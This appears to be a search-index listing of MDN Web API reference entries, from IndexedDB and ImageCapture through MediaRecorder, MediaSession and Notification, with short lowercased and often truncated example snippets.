History.replaceState() - Web APIs
the new url must be of the same origin as the current url; otherwise replacestate throws an exception.
History - Web APIs
WebAPIHistory
for example, for a page loaded in a new tab this property returns 1.
IDBCursor.continuePrimaryKey() - Web APIs
calling this method more than once before new cursor data has been loaded - for example, calling continueprimarykey() twice from the same onsuccess handler - results in an invalidstateerror being thrown on the second call because the cursor’s got value flag has been unset.
IDBDatabase.close() - Web APIs
WebAPIIDBDatabaseclose
no new transactions can be created for this connection once this method is called.
IDBDatabase.onabort - Web APIs
}; example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases.
IDBDatabase.onerror - Web APIs
} example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases.
IDBDatabase.onversionchange - Web APIs
} example this example shows an idbopendbrequest.onupgradeneeded block that creates a new object store; it also includes onerror and onabort functions to handle non-success cases, and an onversionchange function to notify when a database structure change has occurred.
IDBDatabase.transaction() - Web APIs
storenames the names of object stores that are in the scope of the new transaction, declared as an array of strings.
IDBFactory.open() - Web APIs
WebAPIIDBFactoryopen
if the operation is successful, a success event is fired on the request object that is returned from this method, with its result attribute set to the new idbdatabase object for the connection.
IDBIndex.openCursor() - Web APIs
if at least one record matches the key range, then the result property of the event is set to the new idbcursorwithvalue object; the value of the cursor object is set to a structured clone of the referenced value.
IDBIndex.openKeyCursor() - Web APIs
if at least one key matches the key range, then the result property of the event is set to the new idbcursor object; the key property of the cursor object is set to the found key and the primarykey property is set to the the corresponding primary key of the found record.
IDBObjectStore.getKey() - Web APIs
example let openrequest = indexeddb.open("telemetry"); openrequest.onsuccess = (event) => { let db = event.target.result; let store = db.transaction("netlogs").objectstore("netlogs"); let today = new date(); let yesterday = new date(today); yesterday.setdate(today.getdate() - 1); let request = store.getkey(idbkeyrange(yesterday, today)); request.onsuccess = (event) => { let when = event.target.result; alert("the 1st activity in last 24 hours was occurred at " + when); }; }; specifications specification status comment indexed database api draftthe de...
IDBObjectStore.openCursor() - Web APIs
the opencursor() method of the idbobjectstore interface returns an idbrequest object, and, in a separate thread, returns a new idbcursorwithvalue object.
IDBOpenDBRequest - Web APIs
this is used a lot below db = dbopenrequest.result; // run the displaydata() function to populate the task // listwith all the to-do list data already in the idb displaydata(); }; // this event handles the event whereby a new version of // the database needs to be created either one has not // been created before, or a new version number has been // submitted via the window.indexeddb.open line above // it is only implemented in recent browsers dbopenrequest.onupgradeneeded = function(event) { var db = this.result; db.onerror = function(event) { note.innerhtml += '<li>error loading database.</li>'; }; // ...
IDBRequest.onerror - Web APIs
uest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; objectstoretitlerequest.onerror = function() { // if an error occurs with the request, log what it is console.log("there has been an error with retrieving your data: " + objectstoretitlerequest.error); // todo what about event parameter ...
IDBRequest.onsuccess - Web APIs
uest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item back // into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'onsuccess' in that specification.
IDBRequest.readyState - Web APIs
result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the readystate of this request is " + updatetitlerequest.readystate); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'readystate' in that specification.
IDBRequest.result - Web APIs
WebAPIIDBRequestresult
uest = objectstore.get(title); objectstoretitlerequest.onsuccess = function() { // grab the data object returned as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'result' in that specification.
IDBRequest.source - Web APIs
WebAPIIDBRequestsource
ed as the result var data = objectstoretitlerequest.result; // update the notified value in the object to "yes" data.notified = "yes"; // create another request that inserts the item // back into the database var updatetitlerequest = objectstore.put(data); // log the source of this request console.log("the source of this request is " + updatetitlerequest.source); // when this new request succeeds, run the displaydata() // function again to update the display updatetitlerequest.onsuccess = function() { displaydata(); }; }; specifications specification status comment indexed database api 2.0the definition of 'source' in that specification.
IIRFilterNode.getFrequencyResponse() - Web APIs
we first create the float32array objects we need, one containing the input frequencies, and two to receive the output magnitude and phase values: var myfrequencyarray = new float32array(5); myfrequencyarray[0] = 1000; myfrequencyarray[1] = 2000; myfrequencyarray[2] = 3000; myfrequencyarray[3] = 4000; myfrequencyarray[4] = 5000; var magresponseoutput = new float32array(5); var phaseresponseoutput = new float32array(5); next we create a <ul> element in our html to contain our results, and grab a reference to it in our javascript: <p>iir filter frequency response fo...
IIRFilterNode - Web APIs
constructor iirfilternode() creates a new instance of an iirfilternode object.
IdleDeadline.didTimeout - Web APIs
your callback will typically check the value of didtimeout if it needs to perform an action even if the browser is too busy to grant you the time; you should react by performing the needed task or, ideally, a minimal amount of work that can be done to keep things moving along, then schedule a new callback to try again to get the rest of the work done.
ImageBitmap.close() - Web APIs
WebAPIImageBitmapclose
syntax void imagebitmap.close() examples var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext('webgl'); // ...
ImageBitmapRenderingContext.transferFromImageBitmap() - Web APIs
examples html <canvas id="htmlcanvas"></canvas> javascript var htmlcanvas = document.getelementbyid("htmlcanvas").getcontext("bitmaprenderer"); // draw a webgl scene offscreen var offscreen = new offscreencanvas(256, 256); var gl = offscreen.getcontext("webgl"); // ...
ImageCapture.getPhotoCapabilities() - Web APIs
const input = document.queryselector('input[type="range"]'); var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosetting...
ImageCapture.getPhotoSettings() - Web APIs
const input = document.queryselector('input[type="range"]'); var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosetting...
ImageData.data - Web APIs
WebAPIImageDatadata
let imagedata = new imagedata(100, 100); console.log(imagedata.data); // uint8clampedarray[40000] console.log(imagedata.data.length); // 40000 filling a blank imagedata object this example creates and fills a new imagedata object with colorful pixels.
ImageData.height - Web APIs
WebAPIImageDataheight
let imagedata = new imagedata(200, 100); console.log(imagedata.height); // 100 specification specification status comment html living standardthe definition of 'imagedata.height' in that specification.
ImageData.width - Web APIs
WebAPIImageDatawidth
let imagedata = new imagedata(200, 100); console.log(imagedata.width); // 200 specification specification status comment html living standardthe definition of 'imagedata.width' in that specification.
Basic concepts - Web APIs
key generator a mechanism for producing new keys in an ordered sequence.
InputEvent.isComposing - Web APIs
syntax var bool = event.iscomposing; example var inputevent = new inputevent('syntheticinput', false); console.log(inputevent.iscomposing); // return false specifications specification status comment document object model (dom) level 3 events specificationthe definition of 'inputevent.iscomposing' in that specification.
getVersion - Web APIs
extension, theme, and plug-in developers must switch away from install.js based packages to the new packaging scheme with an install.rdf manifest.
startSoftwareUpdate - Web APIs
this method has been largely superseded by newer install method, which is more flexible and allows you to install more than one xpi.
InstallTrigger - Web APIs
installchrome installs new skin or locale packages in netscape 6 and mozilla.
IntersectionObserver.unobserve() - Web APIs
var observer = new intersectionobserver(callback); observer.observe(document.getelementbyid("elementtoobserve")); /* ...
InterventionReportBody - Web APIs
examples let options = { types: ['intervention'], buffered: true } let observer = new reportingobserver(function(reports, observer) { let firstreport = reports[0]; console.log(firstreport.type); // intervention console.log(firstreport.body.id); console.log(firstreport.body.message); console.log(firstreport.body.sourcefile); console.log(firstreport.body.linenumber); console.log(firstreport.body.columnnumber); }, options); specifications specification sta...
KeyboardEvent.initKeyboardEvent() - Web APIs
this method was introduced in draft of dom level 3 events, but deprecated in newer draft.
KeyboardEvent.isComposing - Web APIs
syntax var bool = event.iscomposing; example var kbdevent = new keyboardevent("synthetickey", false); console.log(kbdevent.iscomposing); // return false specifications specification status comment ui eventsthe definition of 'keyboardevent.prototype.iscomposing' in that specification.
KeyboardEvent - Web APIs
"_top"><rect x="231" y="1" width="130" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="296" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">keyboardevent</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} constructor keyboardevent() creates a new keyboardevent object.
KeyboardLayoutMap.keys - Web APIs
the keys read-only property of the keyboardlayoutmap interface returns a new array iterator object that contains the keys for each index in the array.
KeyboardLayoutMap.values - Web APIs
the values read-only property of the keyboardlayoutmap interface returns a new array iterator object that contains the values for each index in the map.
KeyframeEffectOptions - Web APIs
replace overwrites the previous value with the new one.
LinearAccelerationSensor.x - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sens...
LinearAccelerationSensor.y - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sens...
LinearAccelerationSensor.z - Web APIs
let lasensor = new linearaccelerationsensor({frequency: 60}); lasensor.addeventlistener('reading', e => { console.log("linear acceleration along the x-axis " + lasensor.x); console.log("linear acceleration along the y-axis " + lasensor.y); console.log("linear acceleration along the z-axis " + lasensor.z); }); lasensor.start(); specifications specification status comment generic sens...
LocalFileSystem - Web APIs
creating new storage you request access to a sandboxed file system by calling window.requestfilesystem().
LocalFileSystemSync - Web APIs
calling window.requestfilesystemsync() for creates new storage for your web app.
Location: search - Web APIs
WebAPILocationsearch
syntax string = object.search; object.search = string; examples // let an <a id="myanchor" href="https://developer.mozilla.org/docs/location.search?q=123"> element be in the document var anchor = document.getelementbyid("myanchor"); var querystring = anchor.search; // returns:'?q=123' // further parsing: let params = new urlsearchparams(querystring); let q = parseint(params.get("q")); // is the number 123 specifications specification status comment html living standardthe definition of 'search' in that specification.
Location - Web APIs
WebAPILocation
if changed, the associated document navigates to the new page.
LockManager.request() - Web APIs
const controller = new abortcontroller(); // wait at most 200ms.
LockManager - Web APIs
the lockmanager interface of the the web locks api provides methods for requesting a new lock object and querying for an existing lock object.
Long Tasks API - Web APIs
usage var observer = new performanceobserver(function(list) { var perfentries = list.getentries(); for (var i = 0; i < perfentries.length; i++) { // process long task notifications: // report back for analytics and monitoring // ...
MIDIAccess - Web APIs
event handlers midiaccess.onstatechange called whenever a new midi port is added or an existing port changes state.
MIDIMessageEvent - Web APIs
constructor midimessageevent.midimessageevent creates a new midimessageevent object instance.
MSCandidateWindowHide - Web APIs
on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages.
MSCandidateWindowShow - Web APIs
on internet explorer in the new windows ui, this event is supported in windows 8.1 imes of all languages.
Magnetometer.x - Web APIs
WebAPIMagnetometerx
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate re...
Magnetometer.y - Web APIs
WebAPIMagnetometery
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate re...
Magnetometer.z - Web APIs
WebAPIMagnetometerz
let magsensor = new magnetometer({frequency: 60}); magsensor.addeventlistener('reading', e => { console.log("magnetic field along the x-axis " + magsensor.x); console.log("magnetic field along the y-axis " + magsensor.y); console.log("magnetic field along the z-axis " + magsensor.z); }); magsensor.start(); specifications specification status comment generic sensor api candidate re...
MediaDevices.getSupportedConstraints() - Web APIs
return value a new object based on the mediatracksupportedconstraints dictionary listing the constraints supported by the user agent.
MediaElementAudioSourceNode.mediaElement - Web APIs
examples const audioctx = new window.audiocontext(); const audioelem = document.queryselector('audio'); let options = { mediaelement: audioelem } let source = new mediaelementaudiosourcenode(audioctx, options); console.log(source.mediaelement); specifications specification status comment web audio apithe definition of 'mediaelementaudiosourcenode.mediaelement' in that specification.
MediaKeyMessageEvent.messageType - Web APIs
it may be one of license-request, license-renewal, license-release, or individualization-request.
MediaKeyStatusMap.entries() - Web APIs
the entries() read-only property of the mediakeystatusmap interface returns a new iterator object, containing an array of [key, value] pairs for each element in the status map, in insertion order.
createMediaKeys() - Web APIs
the mediakeysystemaccess.createmediakeys() method returns a promise that resolves to a new mediakeys object.
MediaKeySystemAccess - Web APIs
methods mediakeysystemaccess.createmediakeys() returns a promise that resolves to a new mediakeys object.
createSession() - Web APIs
the mediakeys.createsession() method returns a new mediakeysession object, which represents a context for message exchange with a content decryption module (cdm).
MediaKeys - Web APIs
WebAPIMediaKeys
methods mediakeys.createsession() returns a new mediakeysession object, which represents a context for message exchange with a content decryption module (cdm).
MediaList - Web APIs
WebAPIMediaList
properties medialist.mediatext a stringifier that returns a domstring representing the medialist as text, and also allows you to set a new medialist.
MediaMetadata - Web APIs
constructor mediametadata.mediametadata() creates a new mediametadata object.
MediaQueryList.removeListener() - Web APIs
in the new implementation the standard event mechanism is used, and the callback is a standard function.
MediaQueryListEvent - Web APIs
constructor mediaquerylistevent() creates a new mediaquerylistevent instance.
MediaRecorder: error event - Web APIs
examples using addeventlistener to listen for error events: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); recorder.addeventlistener('error', (event) => { console.error(`error recording stream: ${event.error.name}`) }); recorder.start(); } record(); the same, but using the onerror event handler property: async function record() { const stream = await navigator.mediadevices.getusermedia({audio: true}); const recorder = new mediarecorder(stream); ...
MediaRecorder.mimeType - Web APIs
if (navigator.mediadevices) { console.log('getusermedia supported.'); var constraints = { audio: true, video: true }; var chunks = []; navigator.mediadevices.getusermedia(constraints) .then(function(stream) { var options = { audiobitspersecond: 128000, videobitspersecond: 2500000, mimetype: 'video/mp4' } var mediarecorder = new mediarecorder(stream,options); m = mediarecorder; m.mimetype; // would return 'video/mp4' ...
MediaRecorder.onstop - Web APIs
mediarecorder.onstop = function(e) { console.log("data available after mediarecorder.stop() called."); var audio = document.createelement('audio'); audio.controls = true; var blob = new blob(chunks, { 'type' : 'audio/ogg; codecs=opus' }); var audiourl = window.url.createobjecturl(blob); audio.src = audiourl; console.log("recorder stopped"); } mediarecorder.ondataavailable = function(e) { chunks.push(e.data); } ...
MediaRecorder.stream - Web APIs
example if (navigator.getusermedia) { console.log('getusermedia supported.'); navigator.getusermedia ( // constraints - only audio needed for this app { audio: true }, // success callback function(stream) { var mediarecorder = new mediarecorder(stream); var mystream = mediarecorder.stream; console.log(mystream); ...
MediaRecorderErrorEvent.error - Web APIs
function recordstream(stream) { let recorder = null; let bufferlist = []; try { recorder = new mediarecorder(stream); } catch(err) { /* exception while trying to create the recorder; handle that */ } recorder.ondataavailable = function(event) { bufferlist.push(event.data); }; recorder.onerror = function(event) { let error = event.error; }; recorder.start(100); /* 100ms time slices per buffer */ return recorder; } specifications specification st...
MediaRecorderErrorEvent - Web APIs
constructor mediastreamrecorderevent() creates and returns a new mediarecordererrorevent event object with the given parameters.
MediaSession.metadata - Web APIs
example the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function(...
MediaSession - Web APIs
examples the following example creates a new media session and assigns action handlers to it: if ('mediasession' in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); navigator.mediasession.setactionhandler('play', function() {}); navigator.mediasession.setactionhandler('pause', function(...
MediaSettingsRange - Web APIs
const input = document.queryselector('input[type="range"]'); var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) .then(photocapabilities => { const settings = imagecapture.track.getsettings(); input.min = photocapabilities.imagewidth.min; input.max = photocapabilities.imagewidth.max; input.step = photocapabilities.imagewidth.step; return imagecapture.getphotosettings(); }) .then(photosettings => { input.value = photosetting...
MediaSource.duration - Web APIs
exceptions the following exceptions may be thrown when setting a new value for this property.
MediaSource.endOfStream() - Web APIs
imple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec)...
MediaSource.isTypeSupported() - Web APIs
om an example written by nick desaulniers (view the full demo live, or download the source for further investigation.) var asseturl = 'frag_bunny.mp4'; // need to be specific for blink regarding codecs // ./mp4info frag_bunny.mp4 | grep codec var mimecodec = 'video/mp4; codecs="avc1.42e01e, mp4a.40.2"'; if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec)...
MediaSource.readyState - Web APIs
example the following snippet is from a simple example written by nick desaulniers (view the full demo live, or download the source for further investigation.) if ('mediasource' in window && mediasource.istypesupported(mimecodec)) { var mediasource = new mediasource; //console.log(mediasource.readystate); // closed video.src = url.createobjecturl(mediasource); mediasource.addeventlistener('sourceopen', sourceopen); } else { console.error('unsupported mime type or codec: ', mimecodec); } function sourceopen (_) { //console.log(this.readystate); // open var mediasource = this; var sourcebuffer = mediasource.addsourcebuffer(mimecodec)...
active - Web APIs
example in this example, a new stream whose source is the user's local camera and microphone is requested using getusermedia().
MediaStream.addTrack() - Web APIs
the mediastream.addtrack() method adds a new track to the stream.
MediaStream.getVideoTracks() - Web APIs
var imagecapture; navigator.mediadevices.getusermedia({video: true}) .then(mediastream => { document.queryselector('video').srcobject = mediastream; const track = mediastream.getvideotracks()[0]; imagecapture = new imagecapture(track); return imagecapture.getphotocapabilities(); }) specifications specification status comment media capture and streamsthe definition of 'getvideotracks()' in that specification.
MediaStream.onremovetrack - Web APIs
this event is fired when the browser removes a track from the stream (such as when a rtcpeerconnection is renegotiated or a stream being captured using htmlmediaelement.capturestream() gets a new set of tracks because the media element being captured loaded a new source.
MediaStreamAudioDestinationNode.stream - Web APIs
syntax var audioctx = new audiocontext(); var destination = audioctx.createmediastreamdestination(); var mystream = destination.stream; value a mediastream.
MediaStreamAudioDestinationNode - Web APIs
number of inputs 1 number of outputs 0 channel count 2 channel count mode "explicit" channel count interpretation "speakers" constructor mediastreamaudiodestinationnode.mediastreamaudiodestinationnode() creates a new mediastreamaudiodestinationnode object instance.
MediaStreamAudioSourceNode.mediaStream - Web APIs
examples const audioctx = new window.audiocontext(); let options = { mediastream : stream } let source = new mediastreamaudiosourcenode(audioctx, options); console.log(source.mediastream); specifications specification status comment web audio apithe definition of 'mediastreamaudiosourcenode.mediastream' in that specification.
MediaStreamEvent - Web APIs
constructors mediastreamevent() returns a new mediastreamevent.
MediaStreamTrack.applyConstraints() - Web APIs
syntax const appliedpromise = track.applyconstraints([constraints]) parameters constraints optional a mediatrackconstraints object listing the constraints to apply to the track's constrainable properties; any existing constraints are replaced with the new values specified, and any constrainable properties not included are restored to their default constraints.
MediaStreamTrack.readyState - Web APIs
"ended" which indicates that the input is not giving any more data and will never provide new data.
MediaStreamTrack - Web APIs
"ended" which indicates that the input is not giving any more data and will never provide new data.
MediaStreamTrackEvent - Web APIs
constructor mediastreamtrackevent() constructs a new mediastreamtrackevent with the specified configuration.
MediaStream Image Capture API - Web APIs
let imagecapture = new imagecapture(track); interfaces imagecapture an interface for capturing images from a photographic device referenced through a valid mediastreamtrack.
MediaTrackSupportedConstraints.frameRate - Web APIs
the framerate constraint can be used to establish acceptable upper and lower bounds on the video frame rate for a new video track, or to specify an exact frame rate that must be provided for the request to succeed.
Media Capabilities API - Web APIs
different browsers support different media types and new media types are always being developed.
Media Session API - Web APIs
it then instantiates a metadata object for the session, and adds event handlers for the user control actions: if ('mediasession' in navigator) { navigator.mediasession.metadata = new mediametadata({ title: 'unforgettable', artist: 'nat king cole', album: 'the ultimate collection (remastered)', artwork: [ { src: 'https://dummyimage.com/96x96', sizes: '96x96', type: 'image/png' }, { src: 'https://dummyimage.com/128x128', sizes: '128x128', type: 'image/png' }, { src: 'https://dummyimage.com/192x192', sizes: '192x192', type: 'image/png' }, ...
MerchantValidationEvent - Web APIs
constructor merchantvalidationevent() secure context creates a new merchantvalidationevent object describing a merchantvalidation event that will be sent to the payment handler to request that it validate the merchant.
MessagePort: message event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessage examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('i...
MessagePort: messageerror event - Web APIs
bubbles no cancelable no interface messageevent event handler property onmessageerror examples suppose a script creates a messagechannel and sends one of the ports to a different browsing context, such as another <iframe>, using code like this: const channel = new messagechannel(); const myport = channel.port1; const targetframe = window.top.frames[1]; const targetorigin = 'https://example.org'; const messagecontrol = document.queryselector('#message'); const channelmessagebutton = document.queryselector('#channel-message'); channelmessagebutton.addeventlistener('click', () => { myport.postmessage(messagecontrol.value); }) targetframe.postmessage('i...
MouseEvent - Web APIs
html <p><label><input type="checkbox" id="checkbox"> checked</label> <p><button id="button">click me</button> javascript function simulateclick() { var evt = new mouseevent("click", { bubbles: true, cancelable: true, view: window }); var cb = document.getelementbyid("checkbox"); //element to click on var canceled = !cb.dispatchevent(evt); if(canceled) { // a handler called preventdefault alert("canceled"); } else { // none of the handlers called preventdefault alert("not canceled"); } } document.getelementbyid("butt...
MutationObserver.disconnect() - Web APIs
const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* some time later...
MutationObserver.takeRecords() - Web APIs
const targetnode = document.queryselector("#someelement"); const observeroptions = { childlist: true, attributes: true } const observer = new mutationobserver(callback); observer.observe(targetnode, observeroptions); /* ...later, when it's time to stop observing...
MutationObserverInit - Web APIs
childlist optional set to true to monitor the target node (and, if subtree is true, its descendants) for the addition of new child nodes or removal of existing child nodes.
NDEFMessage - Web APIs
constructor ndefmessage.ndefmessage() returns a new ndefmessage containing specified data.
NDEFReader.onreading - Web APIs
the onreading property of ndefreader interface of the web nfc api is called whenever a new reading is available from compatible nfc devices, e.g.
NDEFReader - Web APIs
ndefreader.onreading an event handler for reading event, that notifies about availability of a new reading.
NDEFReadingEvent - Web APIs
the ndefreadingevent interface represents events despatched on new nfc readings obtained by ndefreader.
NDEFRecord - Web APIs
constructor ndefrecord() returns a new ndefrecord with configuration specified in the parameters or default ones if no parameters are specified.
Navigator.getBattery() - Web APIs
it returns a battery promise, which is resolved in a batterymanager object providing also some new events you can handle to monitor the battery status.
Navigator.locks - Web APIs
WebAPINavigatorlocks
the locks read-only property of the navigator interface returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object.
Navigator.mediaSession - Web APIs
if ("mediasession" in navigator){ navigator.mediasession.metadata = new mediametadata({ title: "podcast episode title", artist: "podcast host", album: "podcast name", artwork: [{src: "podcast.jpg"}] }); } specifications specification status comment media session standardthe definition of 'navigator.mediasession' in that specification.
Navigator.registerProtocolHandler() - Web APIs
otherwise, the scheme must be one of the following: bitcoin geo im irc ircs magnet mailto mms news nntp openpgp4fpr sip sms smsto ssh tel urn webcal wtai xmpp example if your site is burgers.example.com, you can register a protocol handler for it to handle web+burger: links, like so: navigator.registerprotocolhandler("web+burger", "https://burgers.example.com/?burger=%s", "burger handler"); this creates a ha...
Navigator.vibrate() - Web APIs
WebAPINavigatorvibrate
if a vibration pattern is already in progress when this method is called, the previous pattern is halted and the new one begins instead.
Navigator.xr - Web APIs
WebAPINavigatorxr
at the same time, a new xr instance is also created and attached to the navigator instance as navigator.xr.
Navigator - Web APIs
WebAPINavigator
navigator.locks read only returns a lockmanager object which provides methods for requesting a new lock object and querying for an existing lock object navigator.mediacapabilities read only returns a mediacapabilities object that can expose information about the decoding and encoding capabilities for a given format and output capabilities.
NavigatorID.userAgent - Web APIs
new browsers may start using the same ua, or part of it, as an older browser: you really have no guarantee that the browser agent is indeed the one advertised by this property.
Online and offline events - Web APIs
"online" and "offline" events firefox 3 introduces two new events: "online" and "offline".
NavigatorPlugins.plugins - Web APIs
var pluginslength = navigator.plugins.length; document.body.innerhtml = pluginslength + " plugin(s)<br>" + '<table id="plugintable"><thead>' +'<tr><th>name</th><th>filename</th><th>description</th><th>version</th></tr>' +'</thead><tbody></tbody></table>'; var table = document.getelementbyid('plugintable'); for(var i = 0; i < pluginslength; i++) { let newrow = table.insertrow(); newrow.insertcell().textcontent = navigator.plugins[i].name; newrow.insertcell().textcontent = navigator.plugins[i].filename; newrow.insertcell().textcontent = navigator.plugins[i].description; newrow.insertcell().textcontent = navigator.plugins[i].version?navigator.plugins[i].version:""; } notes the plugin object exposes a small interface for getting information...
Node.baseURI - Web APIs
WebAPINodebaseURI
details the base url of a document the base url of a document defaults to the document's address (as displayed by the browser and available in window.location), but it can be changed: when an html <base> tag is found in the document when the document is new (created dynamically) see the base urls section of the html living standard for details.
Node.setUserData() - Web APIs
WebAPINodesetUserData
the handler will be passed five arguments: an operation type integer (e.g., 1 to indicate a clone operation), the user key, the data on the node, the source node (null if being deleted), the destination node (the newly created node or null if none).if no handler is desired, one must specify null.
NodeIterator.referenceNode - Web APIs
the nodeiterator.referencenode read-only returns the node to which the iterator is anchored; as new nodes are inserted, the iterator remains anchored to the reference node as specified by this property.
NonDocumentTypeChildNode.nextElementSibling - Web APIs
the element and characterdata interfaces implemented the new interface.
NonDocumentTypeChildNode.previousElementSibling - Web APIs
the element and characterdata interfaces implemented the new interface.
NonDocumentTypeChildNode - Web APIs
the characterdata and element implemented the new interfaces.
Notification.body - Web APIs
WebAPINotificationbody
examples function spawnnotification(thebody, theicon, thetitle) { var options = { body: thebody, icon: theicon } var n = new notification(thetitle, options); console.log(n.body); } specifications specification status comment notifications apithe definition of 'body' in that specification.
Notification.data - Web APIs
WebAPINotificationdata
var options = { body: 'do you like my body?', data: 'i like peas.' } var n = new notification('test notification',options); console.log(n.data) // should return 'i like peas.' specifications specification status comment notifications apithe definition of 'data' in that specification.
Notification.dir - Web APIs
WebAPINotificationdir
var options = { body: 'do you like my body?', dir: 'rtl' } var n = new notification('test notification',options); console.log(n.dir) // should return 'rtl' specifications specification status comment notifications apithe definition of 'dir' in that specification.
Notification.icon - Web APIs
WebAPINotificationicon
var notification = new notification('to do list', { body: text, icon: img }); specifications specification status comment notifications apithe definition of 'icon' in that specification.
Notification.lang - Web APIs
WebAPINotificationlang
var options = { body: 'do you like my body?', lang: 'en-us' } var n = new notification('test notification',options); console.log(n.lang) // should return 'en-us' specifications specification status comment notifications apithe definition of 'lang' in that specification.
Notification.onclick - Web APIs
examples in the following example, we use an onclick handler to open a webpage in a new tab (specified by the inclusion of the '_blank' parameter) once a notification is clicked: notification.onclick = function(event) { event.preventdefault(); // prevent the browser from focusing the notification's tab window.open('http://www.mozilla.org', '_blank'); } specifications specification status comment notifications apithe definition of 'onclick' in that ...
